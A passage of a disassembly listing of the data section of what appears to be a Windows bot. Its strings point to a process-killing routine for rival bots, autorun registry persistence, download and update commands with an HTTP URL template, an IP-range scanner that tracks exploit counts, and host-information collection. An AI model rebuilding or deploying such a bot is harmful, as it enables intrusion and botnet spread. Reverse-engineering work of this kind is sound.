sub_418E51+108o align 4 ; char aS_13[] aS_13 db '%s',0 ; DATA XREF: sub_418E51+13Ao align 10h a192_168__ db '192.168.*.*',0 ; DATA XREF: sub_419347+32o a10___ db '10.*.*.*',0 ; DATA XREF: sub_419347+46o align 4 a111___ db '111.*.*.*',0 ; DATA XREF: sub_419347+5Ao align 4 a15___ db '15.*.*.*',0 ; DATA XREF: sub_419347+6Eo align 10h a16___ db '16.*.*.*',0 ; DATA XREF: sub_419347+82o align 4 a101___ db '101.*.*.*',0 ; DATA XREF: sub_419347+96o align 4 a110___ db '110.*.*.*',0 ; DATA XREF: sub_419347+A6o align 4 a112___ db '112.*.*.*',0 ; DATA XREF: sub_419347+B6o align 10h a170_65__ db '170.65.*.*',0 ; DATA XREF: sub_419347+C6o align 4 ; char a172_D__[] a172_D__ db '172.%d.*.*',0 ; DATA XREF: sub_419347+E0o align 4 aBadAllocati_18 db 'bad allocation',0 align 4 aBadAllocati_19 db 'bad allocation',0 align 4 aMessageboxa_0 db 'MessageBoxA',0 ; DATA XREF: sub_419677+12o aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_419677+17o align 10h dword_420700 dd 0D010Fh, 0C3000000h, 0 ; DATA XREF: sub_4195EC+19o aBadAllocati_20 db 'bad allocation',0 align 4 aBadAllocati_21 db 'bad allocation',0 align 4 ; char aSC_0[] aSC_0 db '%s%c',0 ; DATA XREF: sub_4196D1+55o align 4 aBadAllocati_22 db 'bad allocation',0 align 4 aWinlogon_exe db 'winlogon.exe',0 ; DATA XREF: sub_419EA0+3Co align 4 aSvchost_exe db 'svchost.exe',0 ; DATA XREF: sub_419EA0+44o aServices_exe db 'services.exe',0 ; DATA XREF: sub_419EA0+4Co align 10h aOpenthread db 'OpenThread',0 ; DATA XREF: sub_419EA0+5Fo align 4 aKernel32_dll_1 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+64o align 4 aOpenprocess db 'OpenProcess',0 ; DATA XREF: sub_419EA0+78o aKernel32_dll_2 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+7Do align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_419EA0+8Co align 4 aKernel32_dll_3 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+91o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_419EA0+A0o align 4 aKernel32_dll_4 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+A5o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_419EA0+B4o align 4 aKernel32_dll_5 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+B9o align 4 aModule32first db 'Module32First',0 ; DATA XREF: sub_419EA0+C8o align 4 aKernel32_dll_6 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+CDo align 4 aModule32next db 'Module32Next',0 ; DATA XREF: sub_419EA0+DCo align 4 aKernel32_dll_7 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+E1o align 4 aThread32first db 'Thread32First',0 ; DATA XREF: sub_419EA0+F0o align 4 aKernel32_dll_8 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+F5o align 4 aThread32next db 'Thread32Next',0 ; DATA XREF: sub_419EA0+104o align 4 aKernel32_dll_9 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+109o align 4 aReadprocessmem db 'ReadProcessMemory',0 ; DATA XREF: sub_419EA0+118o align 4 aKernel32_dl_10 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+11Do align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_419EA0+12Co align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_419EA0+131o align 4 ; char aSS_11[] aSS_11 db '%s\%s',0 ; DATA XREF: sub_419EA0+1F5o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_419EA0+2BEo align 4 aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_419EA0+365o align 4 ; char aSystem[] aSystem db 'System',0 ; DATA XREF: sub_419EA0+390o align 4 ; char aBotKilledS[] aBotKilledS db 'Bot Killed: %s',0 ; DATA XREF: sub_419EA0+451o align 4 aSoftwareMicr_4 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_419A9F+36o align 4 aSoftwareMicr_5 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',0 ; DATA XREF: sub_419A9F+3Do align 4 aSoftwareMicr_6 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx',0 ; DATA XREF: sub_419A9F+44o aSoftwareMicr_7 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices',0 ; DATA XREF: sub_419A9F+4Bo align 4 aSystemControls db 'SYSTEM\ControlSet001\Services\Eventlog\System',0 ; DATA XREF: sub_419C6D+26o align 4 ; char aSS_10[] aSS_10 db '%s\%s',0 ; DATA XREF: sub_419C6D+E4o align 4 ; char aLdm[] aLdm db 'LDM',0 ; DATA XREF: sub_419C6D+118o aNetdde db 'NetDDE',0 ; DATA XREF: sub_419C6D+12Bo align 4 aEventmessagefi db 'EventMessageFile',0 ; DATA XREF: sub_419C6D+142o align 4 aBadAllocati_23 db 'bad allocation',0 align 4 aListTTooLong db 'list<T> too long',0 ; DATA XREF: sub_40121E+2Bo ; sub_4016BA+2Bo align 10h dd offset dword_420E80 off_420A74 dd offset nullsub_2 ; DATA XREF: sub_41BB84+23o ; char aS_19[] aS_19 db '%s',0 ; DATA XREF: sub_40177B+EBo ; sub_4019F3+EBo ... align 4 aE db '-e',0 ; DATA XREF: sub_40177B+1D5o align 10h a1_0: ; DATA XREF: sub_40177B+1E7o unicode 0, <1>,0 aDl_0 db 'DL',0 ; DATA XREF: sub_40177B+23Fo ; sub_4019F3+1F1o align 4 aDlAuthFailure_ db 'DL: Auth Failure.',0 ; DATA XREF: sub_40177B:loc_4019C8o align 4 ; char aDlInvalidArgum[] aDlInvalidArgum db 'DL: Invalid Arguments',0 ; DATA XREF: sub_40177B:loc_4019D5o align 4 aUpdAuthFailure db 'UPD: Auth Failure.',0 ; DATA XREF: sub_4019F3:loc_401BF2o align 4 ; char aUpdInvalidArgu[] aUpdInvalidArgu db 'UPD: Invalid Arguments.',0 ; DATA XREF: sub_4019F3:loc_401BFFo dd offset dword_421030 off_420AE4 dd offset sub_40177B ; DATA XREF: sub_41C370+4Ao ; .data:off_433C58o dd offset dword_420FE4 off_420AEC dd offset sub_4019F3 ; DATA XREF: sub_41C370+66o ; .data:off_433C54o ; char aHttpSDS[] aHttpSDS db 'http://%s:%d/%s',0 ; DATA XREF: sub_401C1D+77o dd offset dword_42107C off_420B04 dd offset sub_401C1D ; DATA XREF: sub_41C370+82o ; .data:off_433C5Co ; char aSystemSCpuIXS[] aSystemSCpuIXS@ db 'System: %s [CPU: %i x %s @ %dMhz] [RAM: %iMB/%iMB] [Country: %s] ' ; DATA XREF: sub_401CC0+185o db '[IP: %s] [User: %s] [System Dir: %s] [Uptime: %I64ud %I64uh %I64u' db 'm]',0 align 10h ; char aNetIpSHostNA[] aNetIpSHostNA db 'Net: IP: %s Host: N/A',0 ; DATA XREF: sub_401E82+55o align 4 ; char aNetIpSHostS[] aNetIpSHostS db 'Net: IP: %s Host: %s',0 ; DATA XREF: sub_401E82+73o align 10h dd offset dword_421114 off_420BC4 dd offset sub_401CC0 ; DATA XREF: sub_41C370+9Eo ; .data:off_433C60o dd offset dword_4210C8 off_420BCC dd offset sub_401E82 ; DATA XREF: sub_41C370+BAo ; .data:off_433C64o ; char aScanUnknownExp[] aScanUnknownExp db 'Scan: Unknown Exploit.',0 ; DATA XREF: sub_401F1C:loc_402001o align 4 a____0 db '*.*.*.*',0 ; DATA XREF: sub_401F1C+107o aA db '-a',0 ; DATA XREF: sub_401F1C+146o align 4 aB db '-b',0 ; DATA XREF: sub_401F1C+155o align 4 aC db '-c',0 ; DATA XREF: sub_401F1C+164o align 4 ; char aScanNotEnoughT[] aScanNotEnoughT db 'Scan: Not Enough Threads. %d Available.',0 ; DATA XREF: sub_401F1C+1AEo ; char aD_D_D_D_1[] aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_401F1C+228o ; sub_401F1C+365o ; char aX_[] aX_ db 'x.',0 ; DATA XREF: sub_401F1C+23Fo align 4 ; char aD_[] aD_ db '%d.',0 ; DATA XREF: sub_401F1C+253o ; char aSx_[] aSx_ db '%sx.',0 ; DATA XREF: sub_401F1C+26Bo align 10h ; char aSD_[] aSD_ db '%s%d.',0 ; DATA XREF: sub_401F1C+266o align 4 ; char aSx[] aSx db '%sx',0 ; DATA XREF: sub_401F1C+2C8o ; char aSD[] aSD db '%s%d',0 ; DATA XREF: sub_401F1C+2DDo align 4 ; char aD_x_x_x[] aD_x_x_x db '%d.x.x.x',0 ; DATA XREF: sub_401F1C+3BEo align 10h ; char aD_D_x_x[] aD_D_x_x db '%d.%d.x.x',0 ; DATA XREF: sub_401F1C+3A7o align 4 ; char aD_D_D_x[] aD_D_D_x db '%d.%d.%d.x',0 ; DATA XREF: sub_401F1C+38Do align 4 ; char aScanSDUsingDTh[] aScanSDUsingDTh db 'Scan: %s:%d Using %d Threads.',0 ; DATA XREF: sub_401F1C+408o align 4 aScanner db 'Scanner',0 ; DATA XREF: sub_401F1C+4E8o ; sub_40243A+42o ; char aScanAllScanThr[] aScanAllScanThr db 'Scan: All Scan Threads Stopped. %d killed.',0 ; DATA XREF: sub_40243A+BFo align 4 ; char aStatisticsExpl[] aStatisticsExpl db 'Statistics: Exploits:',0 ; DATA XREF: sub_40251A+3Bo align 4 ; char aSSD[] aSSD db '%s %s: %d',0 ; DATA XREF: sub_40251A+62o align 10h ; char aSDaemons[] aSDaemons db '%s; Daemons:',0 ; DATA XREF: sub_40251A+84o align 10h ; char aSTftpD[] aSTftpD db '%s TFTP: %d',0 ; DATA XREF: sub_40251A+9Ao ; char aSHttpD[] aSHttpD db '%s HTTP: %d',0 ; DATA XREF: sub_40251A+B0o dd offset dword_4211F8 off_420D1C dd offset sub_401F1C ; DATA XREF: sub_41C370+E4o ; .data:off_433C74o dd offset dword_4211AC off_420D24 dd offset sub_40243A ; DATA XREF: sub_41C370+100o ; .data:off_433C6Co dd offset dword_421160 off_420D2C dd offset sub_40251A ; DATA XREF: sub_41C370+11Co ; .data:off_433C70o dbl_420D30 dq 5.0e-1 ; DATA XREF: sub_41A9DE:loc_41AF68r flt_420D38 dd 4.2949673e9 ; DATA XREF: sub_41A9DE+584r align 10h dd 48h, 0Eh dup(0) dd offset dword_423064 dd offset dword_421250 dd 10h dword_420D88 dd 3 dup(0) ; DATA XREF: .rdata:0041D334o dd offset off_423008 dd offset dword_420D9C dword_420D9C dd 2 dup(0) ; DATA XREF: .rdata:00420D98o dd 3, 420DACh, 420DBCh, 420F48h, 420F94h, 0 dd offset off_423008 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 420D9Ch dword_420DD8 dd 3 dup(0) ; DATA XREF: .rdata:0041D368o dd offset off_425958 dd offset dword_420FB0 dword_420DEC dd 3 dup(0) ; DATA XREF: .rdata:0041D388o dd offset off_423030 dd offset dword_420E00 dword_420E00 dd 2 dup(0) ; DATA XREF: .rdata:00420DFCo dd 1, 420E10h, 420E18h, 0 dd offset off_423030 dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 420E00h dword_420E34 dd 3 dup(0) ; DATA XREF: .rdata:0041DC20o dd offset off_423E50 dd offset dword_420E48 dword_420E48 dd 2 dup(0) ; DATA XREF: .rdata:00420E44o dd 2, 420E58h, 420E64h, 420F94h, 0 dd offset off_423E50 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 420E48h dword_420E80 dd 3 dup(0) ; DATA XREF: .rdata:00420A70o dd offset off_425900 dd offset dword_420E94 dword_420E94 dd 2 dup(0) ; DATA XREF: .rdata:00420E90o dd 1, 420EA4h, 420EACh, 0 dd offset off_425900 dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 420E94h dword_420EC8 dd 3 dup(0) ; DATA XREF: .rdata:0041D328o dd offset off_425918 dd offset dword_420EDC dword_420EDC dd 2 dup(0) ; DATA XREF: .rdata:00420ED8o dd 3, 420EECh, 420EFCh, 420F48h, 420F94h, 0 dd offset off_425918 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 420EDCh dword_420F18 dd 3 dup(0) ; DATA XREF: .rdata:0041D31Co dd offset off_425938 dd offset dword_420F2C dword_420F2C dd 2 dup(0) ; DATA XREF: .rdata:00420F28o dd 2, 420F3Ch, 420F48h, 420F94h, 0 dd offset off_425938 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 420F2Ch dword_420F64 dd 3 dup(0) ; DATA XREF: .rdata:0041D310o dd offset off_425974 dd offset dword_420F78 dword_420F78 dd 2 dup(0) ; DATA XREF: .rdata:00420F74o dd 2, 420F88h, 420FC8h, 420F94h, 0 dd offset off_425958 align 10h dd 0FFFFFFFFh, 0 dd 40h, 420FB0h dword_420FB0 dd 2 dup(0) ; DATA XREF: .rdata:00420DE8o dd 1, 420FC0h, 420F94h, 0 dd offset off_425974 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 420F78h dword_420FE4 dd 3 dup(0) ; DATA XREF: .rdata:00420AE8o dd offset off_425990 dd offset dword_420FF8 dword_420FF8 dd 2 dup(0) ; DATA XREF: .rdata:00420FF4o dd 2, 421008h, 421014h, 420EACh, 0 dd offset off_425990 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 420FF8h dword_421030 dd 3 dup(0) ; DATA XREF: .rdata:00420AE0o dd offset off_4259A8 dd offset dword_421044 dword_421044 dd 2 dup(0) ; DATA XREF: .rdata:00421040o dd 2, 421054h, 421060h, 420EACh, 0 dd offset off_4259A8 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 421044h dword_42107C dd 3 dup(0) ; DATA XREF: .rdata:00420B00o dd offset off_4259BC dd offset dword_421090 dword_421090 dd 2 dup(0) ; DATA XREF: .rdata:0042108Co dd 2, 4210A0h, 4210ACh, 420EACh, 0 dd offset off_4259BC dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 421090h dword_4210C8 dd 3 dup(0) ; DATA XREF: .rdata:00420BC8o dd offset off_4259D8 dd offset dword_4210DC dword_4210DC dd 2 dup(0) ; DATA XREF: .rdata:004210D8o dd 2, 4210ECh, 4210F8h, 420EACh, 0 dd offset off_4259D8 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 4210DCh dword_421114 dd 3 dup(0) ; DATA XREF: .rdata:00420BC0o dd offset off_4259F4 dd offset dword_421128 dword_421128 dd 2 dup(0) ; DATA XREF: .rdata:00421124o dd 2, 421138h, 421144h, 420EACh, 0 dd offset off_4259F4 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 421128h dword_421160 dd 3 dup(0) ; DATA XREF: .rdata:00420D28o dd offset off_425A10 dd offset dword_421174 dword_421174 dd 2 dup(0) ; DATA XREF: .rdata:00421170o dd 2, 421184h, 421190h, 420EACh, 0 dd offset off_425A10 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 421174h dword_4211AC dd 3 dup(0) ; DATA XREF: .rdata:00420D20o dd offset off_425A2C dd offset dword_4211C0 dword_4211C0 dd 2 dup(0) ; DATA XREF: .rdata:004211BCo dd 2, 4211D0h, 4211DCh, 420EACh, 0 dd offset off_425A2C dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 4211C0h dword_4211F8 dd 3 dup(0) ; DATA XREF: .rdata:00420D18o dd offset off_425A48 dd offset dword_42120C dword_42120C dd 2 dup(0) ; DATA XREF: .rdata:00421208o dd 2, 42121Ch, 421228h, 420EACh, 0 dd offset off_425A48 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 42120Ch, 3 dup(0) dword_421250 dd 42C4h, 43C9h, 6640h, 8658h, 0EB68h, 1C1D3h, 1C1EEh ; DATA XREF: .rdata:00420D80o dd 1C209h, 1C22Ch, 1C24Fh, 1C274h, 1C299h, 1C2BCh, 1C2E1h dd 1C313h, 1C348h, 0 dword_421294 dd 2 dup(0) ; DATA XREF: sub_40B042+2o ; sub_40B042+7o dword_42129C dd 0 ; DATA XREF: sub_40B066+2o ; sub_40B066+7o dword_4212A0 dd 0 ; DATA XREF: sub_4026B9+29o dd offset sub_40264D dd 0 dd offset dword_4212DC dd 0FFFFFFFFh, 41C1CBh dword_4212B8 dd 19930522h, 1, 4212B0h, 5 dup(0) ; DATA XREF: .text:0041C1E4o dd 1 dword_4212DC dd 3, 4212ECh, 421940h, 42195Ch, 0 ; DATA XREF: .rdata:004212ACo dd offset off_423008 align 8 dd 0FFFFFFFFh, 0 dd 28h, 4026F8h dword_421308 dd 0FFFFFFFEh, 0 ; DATA XREF: __msize+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset $LN16 align 8 dword_421328 dd 0FFFFFFFEh, 0 ; DATA XREF: __onexit+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN7 align 8 dword_421348 dd 0FFFFFFFEh, 0 ; DATA XREF: __fsopen+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN12_0 align 8 dword_421368 dd 0FFFFFFFEh, 0 ; DATA XREF: _fprintf+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN18 align 8 dword_421388 dd 0FFFFFFFEh, 0 ; DATA XREF: _fclose+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN13_2 align 8 dword_4213A8 dd 0FFFFFFFEh, 0 ; DATA XREF: _free+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN14 align 8 dword_4213C8 dd 0FFFFFFFEh, 0 ; DATA XREF: _V6_HeapAlloc+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN8_1 align 8 dword_4213E8 dd 0FFFFFFFEh, 0 ; DATA XREF: _fread_s+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN15_0 align 8 dword_421408 dd 0FFFFFFFEh, 0 ; DATA XREF: ___tmainCRTStartup+2o dd 0FFFFFF80h, 0 dd 0FFFFFFFEh, 4040FFh, 404103h, 0FFFFFFFEh, 4040C5h, 4040D9h dword_421430 dd 0FFFFFFFEh, 0 ; DATA XREF: ___updatetmbcinfo+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN18_0 align 10h dword_421450 dd 0FFFFFFFEh, 0 ; DATA XREF: __setmbcp+2o dd 0FFFFFFCCh, 0 dd 0FFFFFFFEh, 0 dd offset $LN27 align 10h dword_421470 dd 0FFFFFFFEh, 0 ; DATA XREF: ___updatetlocinfo+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN11_2 align 10h dword_421490 dd 0FFFFFFFEh, 0 ; DATA XREF: __initptd+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN9_1 align 10h dword_4214B0 dd 0FFFFFFFEh, 0 ; DATA XREF: _freefls(x)+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 0 dd offset $LN27_0 dd 0FFFFFFFEh, 0 dd offset $LN28_0 dword_4214D8 dd 0FFFFFFFEh, 0 ; DATA XREF: __mtinitlocknum+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN14_2 align 8 dword_4214F8 dd 0FFFFFFFEh, 0 ; DATA XREF: _doexit+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN27_1 align 8 dword_421518 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_407F55+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_407FBC align 8 dword_421538 dd 0FFFFFFFEh, 0 ; DATA XREF: __getstream+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset $LN25 align 8 dword_421558 dd 0FFFFFFFEh, 0 ; DATA XREF: __ioinit+2o dd 0FFFFFF8Ch, 0 dd 0FFFFFFFEh, 408A09h, 408A0Dh, 0 dword_421578 dd 0FFFFFFFEh, 0 ; DATA XREF: __close+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset $LN14_4 align 8 dword_421598 dd 0FFFFFFFEh, 0 ; DATA XREF: _flsall+2o dd 0FFFFFFCCh, 0 dd 0FFFFFFFEh, 0 dd offset $LN20_2 dd 2 dup(0) dd offset $LN31 dword_4215C0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40A34F+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40A421 align 10h dword_4215E0 dd 0FFFFFFFEh, 0 ; DATA XREF: ___FrameUnwindToState+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset $LN29 align 10h dd offset $LN28_1 dd offset $LN21_0 dword_421608 dd 0FFFFFFFEh, 0 ; DATA XREF: ___DestructExceptionObject+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 40B405h, 40B40Eh, 40h, 2 dup(0) dd offset unknown_libname_102 ; Microsoft VisualC 2-8/net runtime dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 421624h dword_421658 dd 19930522h, 2, 421634h, 1, 421644h, 3 dup(0) ; DATA XREF: .text:0041C1FFo dd 1, 0 dword_421680 dd 0FFFFFFFEh, 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+2o dd 0FFFFFFB4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN27_2 align 10h dd offset $LN26_2 dd offset $LN19_4 dword_4216A8 dd 0FFFFFFFEh, 0 ; DATA XREF: ___BuildCatchObjectHelper+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 40B804h, 40B808h, 0 dword_4216C8 dd 0FFFFFFFEh, 0 ; DATA XREF: ___BuildCatchObject+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 40B89Dh, 40B8A1h dword_4216E4 dd 0 ; DATA XREF: unknown_libname_104+162o dd offset sub_40B1CF align 10h dd offset dword_4216F4 dword_4216F4 dd 2, 421700h, 42195Ch, 0 ; DATA XREF: .rdata:004216F0o dd offset off_423E50 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 40BD5Dh, 0 dword_421720 dd 0FFFFFFFEh, 0 ; DATA XREF: terminate(void)+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 40BE79h, 40BE7Dh, 0 dword_421740 dd 0FFFFFFFEh, 0 ; DATA XREF: _inconsistency(void)+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 40BEC9h, 40BECDh, 0 dword_421760 dd 0FFFFFFFEh, 0 ; DATA XREF: ___crtInitCritSecAndSpinCount+2o dd 0FFFFFFCCh, 0 dd 0FFFFFFFEh, 40CB9Ah, 40CBB1h, 0 dword_421780 dd 0FFFFFFFEh, 0 ; DATA XREF: __IsNonwritableInCurrentImage+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 40CC98h, 40CCACh, 0 dword_4217A0 dd 0FFFFFFFEh, 0 ; DATA XREF: __lseeki64+2o dd 0FFFFFFCCh, 0 dd 0FFFFFFFEh, 0 dd offset $LN14_7 align 10h dword_4217C0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40D420+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40D4F2 align 10h dword_4217E0 dd 0FFFFFFFEh, 0 ; DATA XREF: __calloc_impl+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN37_0 align 10h dword_421800 dd 0FFFFFFFEh, 0 ; DATA XREF: _realloc+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset $LN66 align 10h dword_421820 dd 0FFFFFFFEh, 0 ; DATA XREF: unknown_libname_119+2o dd 0FFFFFFC0h, 0 dd 0FFFFFFFEh, 0 dd offset unknown_libname_123 ; Microsoft VisualC 2-8/net runtime align 10h dword_421840 dd 0FFFFFFFEh, 0 ; DATA XREF: __fcloseall+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset $LN13_11 align 10h dword_421860 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40E6B0+2o dd 0FFFFFFCCh, 0 dd 0FFFFFFFEh, 0 dd offset sub_40E749 align 10h dword_421880 dd 0FFFFFFFEh, 0 ; DATA XREF: ___lock_fhandle+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset $LN14_9 align 10h dword_4218A0 dd 0FFFFFFFEh, 0 ; DATA XREF: __alloc_osfhnd+2o dd 0FFFFFFC8h, 0 dd 0FFFFFFFEh, 0 dd offset $LN31_0 dd 2 dup(0) dd offset $LN48_0 dword_4218C8 dd 0FFFFFFFEh, 0 ; DATA XREF: __commit+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset $LN16_4 align 8 dword_4218E8 dd 0FFFFFFFEh, 0 ; DATA XREF: _has_osfxsr_set+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 40F7A6h, 40F7C2h, 0 dword_421908 dd 0FFFFFFFEh, 0 ; DATA XREF: ___set_fpsr_sse2+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 410107h, 410123h, 0 dd offset off_425918 align 10h dd 0FFFFFFFFh, 0 dd 28h, 4013CEh, 0 dd offset off_425938 dd 0 dd 0FFFFFFFFh, 0 dd 28h, 4013E6h, 0 dd offset off_425958 align 8 dd 0FFFFFFFFh, 0 dword_421970 dd 0Ch, 402C72h, 3, 421924h, 421940h, 42195Ch ; DATA XREF: .rdata:00421994o dword_421988 dd 0 ; DATA XREF: sub_40121E+48o ; sub_4016BA+48o ... dd offset sub_4010E1 dd 0 dd offset dword_421970+8 dd 0 dd offset off_425974 dd 0 dd 0FFFFFFFFh, 0 dword_4219AC dd 0Ch, 401637h, 2, 421998h, 42195Ch ; DATA XREF: .rdata:004219CCo dword_4219C0 dd 0 ; DATA XREF: std::_Allocate<char>(uint,char *)+34o ; operator new(uint)+54o dd offset sub_401038 dd 0 dd offset dword_4219AC+8 dword_4219D0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_419760+2o dd 0FFFFFFB4h, 0 dd 0FFFFFFFEh, 5 dup(0) dd 0FFFFFFFFh, 41C26Ah dword_421A00 dd 19930522h, 1, 4219F8h, 5 dup(0) ; DATA XREF: .text:0041C285o dd 1, 0FFFFFFFFh, 41C28Fh dword_421A2C dd 19930522h, 1, 421A24h, 5 dup(0) ; DATA XREF: .text:0041C2AAo dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 1, 0 dd 1, 0 dd 40h, 2 dup(0) dd offset unknown_libname_5 ; Microsoft VisualC 2-8/net runtime dd 40h, 2 dup(0) dd offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime dd 2 dup(2), 3, 1, 421A70h, 2 dup(0) dd 3, 1, 421A80h dword_421AB8 dd 19930522h, 4, 421A50h, 2, 421A90h, 3 dup(0) ; DATA XREF: sub_41C209+11o dd 1, 0 dd 0FFFFFFFFh, 41C224h dword_421AE8 dd 19930522h, 1, 421AE0h, 5 dup(0) ; DATA XREF: .text:0041C23Do dd 1, 0 dd 0FFFFFFFFh, 41C247h dword_421B18 dd 19930522h, 1, 421B10h, 5 dup(0) ; DATA XREF: .text:0041C260o dd 1, 0 dd 0FFFFFFFFh, 41C2B4h dword_421B48 dd 19930522h, 1, 421B40h, 5 dup(0) ; DATA XREF: .text:0041C2CDo dd 1, 0 dd 0FFFFFFFFh, 41C2D7h dword_421B78 dd 19930522h, 1, 421B70h, 5 dup(0) ; DATA XREF: .text:0041C2FCo dd 1, 0 dd 0FFFFFFFFh, 41C306h dword_421BA8 dd 19930522h, 1, 421BA0h, 5 dup(0) ; DATA XREF: .text:0041C331o dd 1, 0 dd 0FFFFFFFFh, 41C33Bh dword_421BD8 dd 19930522h, 1, 421BD0h, 5 dup(0) ; DATA XREF: .text:0041C366o dd 1, 21D00h, 2 dup(0) dd 2222Ch, 1D050h, 21E9Ch, 2 dup(0) dd 222D2h, 1D1ECh, 21CB0h, 2 dup(0) dd 2243Ah, 1D000h, 21E94h, 2 dup(0) dd 22458h, 1D1E4h, 21E7Ch, 2 dup(0) dd 22464h, 1D1CCh, 21ED4h, 2 dup(0) dd 22470h, 1D224h, 21EC4h, 2 dup(0) dd 224B4h, 1D214h, 21E74h, 2 dup(0) dd 224D6h, 1D1C4h, 5 dup(0) dd 22418h, 22406h, 223F2h, 223E0h, 223D2h, 223BAh, 223ACh dd 2239Ah, 2238Ah, 22378h, 22360h, 22350h, 2233Eh, 22326h dd 22314h, 22304h, 222EEh, 222DEh, 2242Ah, 0 dd 220AEh, 220BCh, 220CEh, 220E8h, 220FAh, 22110h, 2212Ch dd 2213Ch, 2214Ah, 22158h, 2216Ah, 22176h, 2218Ch, 22198h dd 221A8h, 221B4h, 2209Ah, 221D2h, 221E4h, 221FAh, 2220Ah dd 22220h, 22842h, 22832h, 2281Ch, 2280Ch, 227F8h, 227E8h dd 22088h, 22074h, 22064h, 22050h, 22042h, 22032h, 22022h dd 22014h, 21FFEh, 21FEAh, 21FDAh, 21FC8h, 21FB8h, 21FA2h dd 21F8Eh, 21F86h, 21F74h, 21F60h, 21F50h, 21F44h, 221C2h dd 21F38h, 227D6h, 227C6h, 227AAh, 